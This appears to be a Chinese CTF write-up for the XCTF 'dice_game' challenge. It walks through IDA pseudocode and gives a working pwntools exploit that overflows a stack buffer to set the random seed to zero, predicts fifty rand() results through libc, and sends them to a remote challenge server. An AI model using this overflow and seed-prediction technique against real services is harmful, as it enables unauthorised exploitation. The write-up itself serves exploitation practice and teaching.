dice_game--攻防世界
攻防世界得题目代码很长啊,这就造成一定地迷惑性,提高了代码阅读地困难。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[55]; // [rsp+0h] [rbp-50h]
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+40h] [rbp-10h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]
memset(buf, 0, 0x30uLL);
*(_QWORD *)seed = time(0LL);
printf("Welcome, let me know your name: ", a2);
fflush(stdout);
v6 = read(0, buf, 0x50uLL);
if ( v6 <= 49 )
buf[v6 - 1] = 0;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
v8 = 1;
v5 = 0;
while ( 1 )
{
printf("Game %d/50\n", v8);
v5 = sub_A20();
fflush(stdout);
if ( v5 != 1 )
break;
if ( v8 == 50 )
{
sub_B28((__int64)buf);
break;
}
++v8;
}
puts("Bye bye!");
return 0LL;
}
这是ida中主函数地伪代码。
标红的也是一个函数我们进去看看:
signed __int64 sub_A20()
{
signed __int64 result; // rax
__int16 v1; // [rsp+Ch] [rbp-4h]
__int16 v2; // [rsp+Eh] [rbp-2h]
printf("Give me the point(1~6): ");
fflush(stdout);
_isoc99_scanf("%hd", &v1);
if ( v1 > 0 && v1 <= 6 )
{
v2 = rand() % 6 + 1;
if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");
if ( v1 == v2 )
{
puts("You win.");
result = 1LL;
}
else
{
puts("You lost.");
result = 0LL;
}
}
else
{
puts("Invalid value!");
result = 0LL;
}
return result;
}
题意是:随机生成6以内的数字和我们输入的数字进行对比,如果相等就读出flag。这是随机数种子是seed=time(0)
首先通过 read函数往buf地址写入内容
因为随机种子是time(0)种子不可控,我们可以看到buf和seed都在栈上,我们可以覆盖seed为可控的值,比如 0,1。
我们需要输入50次。
from pwn import *
from ctypes import *
#from LibcSearcher import *
context.log_level='debug'
r=remote('111.200.241.244',53983)
libc = cdll.LoadLibrary("libc.so.6")#因为题目给了libc文件,我们需要利用libc库中的函数rand生成与题目一样的随机数。
payload='a'*(0x50-0x10)+p64(0)
r.sendafter('Welcome, let me know your name: ',payload)
a=[]
for i in range(50):
a.append(libc.rand()%6+1)
print(a)
for i in a:
r.recv()
print(r.recv())
r.sendline(str(i))
r.interactive()